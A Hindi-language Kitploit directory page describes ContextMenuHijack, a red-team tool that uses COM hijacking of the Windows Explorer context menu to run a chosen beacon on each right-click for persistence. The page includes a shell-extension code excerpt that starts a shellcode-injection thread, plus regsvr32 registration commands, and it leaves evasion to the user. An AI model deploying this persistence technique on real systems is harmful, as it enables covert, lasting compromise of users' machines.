Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ContextMenuHijack — एक्सप्लोरर मेनू में किसी फ़ाइल/फ़ोल्डर पर प्रत्येक राइट क्लिक पर पेलोड निष्पादित करें, स्थायित्व के लिए। | Kitploit
उपकरण/GitHubGitHub/ristbs/contextmenuhijack
स्थायित्व तंत्रपोस्ट-शोषणरेड टीमिंगपेलोड डेवलपमेंट
GitHubristbs/contextmenuhijack

ContextMenuHijack

एक्सप्लोरर मेनू में किसी फ़ाइल/फ़ोल्डर पर प्रत्येक राइट क्लिक पर पेलोड निष्पादित करें, स्थायित्व के लिए।

रिपॉजिटरी देखें
1732743 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ContextMenuHijack

यह मूल विचार जिसने मुझे प्रेरित किया, वह @NinjaParanoid से है:

Video

ContextMenuHijack एक सरल पर्सिस्टेंस तकनीक है जो मानव व्यवहार पर आधारित COM हाइजैकिंग का उपयोग करती है। जब आप फ़ाइल एक्सप्लोरर में किसी फ़ाइल/फ़ोल्डर पर राइट-क्लिक करके कॉन्टेक्स्ट मेनू खोलते हैं, तो यह उसी समय हमारे द्वारा निर्दिष्ट बीकन को निष्पादित करती है।

root@kitploit:~
IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID ) {
    DWORD tid = NULL;
    CreateThread(NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)InjectShc, NULL, 0, &tid);

    if (NULL == pDataObj) {
	if (pidlFolder != NULL) {
	}
        return S_OK;
    }
    return S_OK;
}

उपयोग

आपको बस सोल्यूशन फ़ाइल (.sln) लोड करनी है और इसे बिल्ड करना है। यह जानना महत्वपूर्ण है कि इस पर्सिस्टेंस तकनीक का उपयोग करने के लिए आपको एडमिनिस्ट्रेटर विशेषाधिकारों की आवश्यकता होती है। यह सब करने के बाद, आपको बस DLL फ़ाइल को regsvr32 के साथ रजिस्ट्री में पंजीकृत करना है:

root@kitploit:~
regsvr32 "C:\path\to\ContextMenuHijack.dll"

यदि आप इसे अनइंस्टॉल करना चाहते हैं तो बस /u फ़्लैग का उपयोग करें

root@kitploit:~
regsvr32 /u "C:\path\to\ContextMenuHijack.dll"

persistence1

  • यह तकनीक explorer.exe के थ्रेड स्टैक से आसानी से पहचानी जा सकती है, अपनी खुद की एवेज़न ट्रेडक्राफ्ट का उपयोग करना आप पर निर्भर है image

श्रेय

  • https://github.com/rikka0w0/ExplorerContextMenuTweaker
  • https://learn.microsoft.com/en-us/windows/win32/shell/how-to-implement-the-icontextmenu-interface?redirectedfrom=MSDN
  • https://www.codeproject.com/Articles/441/The-Complete-Idiot-s-Guide-to-Writing-Shell-Extens
टूल डाउनलोड करें